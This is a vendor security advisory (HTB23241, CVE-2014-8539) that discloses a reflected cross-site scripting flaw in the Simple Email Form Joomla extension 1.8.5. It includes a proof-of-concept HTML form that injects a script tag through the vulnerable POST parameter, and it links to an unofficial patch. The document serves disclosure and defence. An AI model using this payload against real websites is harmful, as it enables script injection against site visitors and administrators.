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Reflected Cross-Site Scripting (XSS) in Simple Email Form Joomla Extension

Advisory ID:HTB23241
Product:Simple Email Form Joomla Extension
Vendor:Doug Bierer
Vulnerable Versions:1.8.5 and probably prior
Tested Version:1.8.5
Advisory Publication:October 29, 2014 [without technical details]
Vendor Notification:October 29, 2014
Public Disclosure:November 19, 2014
Latest Update:November 19, 2014
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2014-8539
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Solution Available
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Simple Email Form Joomla Extension, which can be exploited to perform Cross-Site Scripting (XSS) attacks against visitors and administrators of Joomla websites with installed plugin.


1) Reflected Cross-Site Scripting (XSS) in Simple Email Form Joomla Extension: CVE-2014-8539

Input passed via the "mod_simpleemailform_field2_1" HTTP POST parameter to "/index.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="mod_simpleemailform_field1_1" value="email@email.com">
<input type="hidden" name="mod_simpleemailform_field2_1" value='"><script>alert("immuniweb");</script>'>
<input type="hidden" name="mod_simpleemailform_submit_1" value="Submit">
<input type="submit" id="btn">
</form>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Disclosure timeline:
2014-10-29 Vendor Alerted via emails.
2014-11-06 Vendor Alerted via emails.
2014-11-14 Fix Requested via emails.
2014-11-17 Fix Requested via emails.
2014-11-19 Public disclosure with self-written patch.

Currently we are not aware of any official solution for this vulnerability.
Unofficial patch was developed by High-Tech Bridge Security Research Lab and is available here: https://www.htbridge.com/advisory/HTB23241-patch.zip


References:
[1] High-Tech Bridge Advisory HTB23241 - https://www.htbridge.com/advisory/HTB23241 - Reflected Cross-Site Scripting (XSS) in Simple Email Form Joomla Extension.
[2] Simple Email Form Joomla Extension - http://extensions.joomla.org/extensions/contacts-and-feedback/contact-forms/11494 - Lightweight email contact form with 8 configurable fields, plus a field for uploading attachments to the email, and a CAPTCHA based in Text_CAPTCHA from the PEAR library (included).
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] Free SSL/TLS Server test - Test SSL/TLS encryption reliability and security of your web or email server, verify compliance with PCI DSS, HIPAA and NIST.
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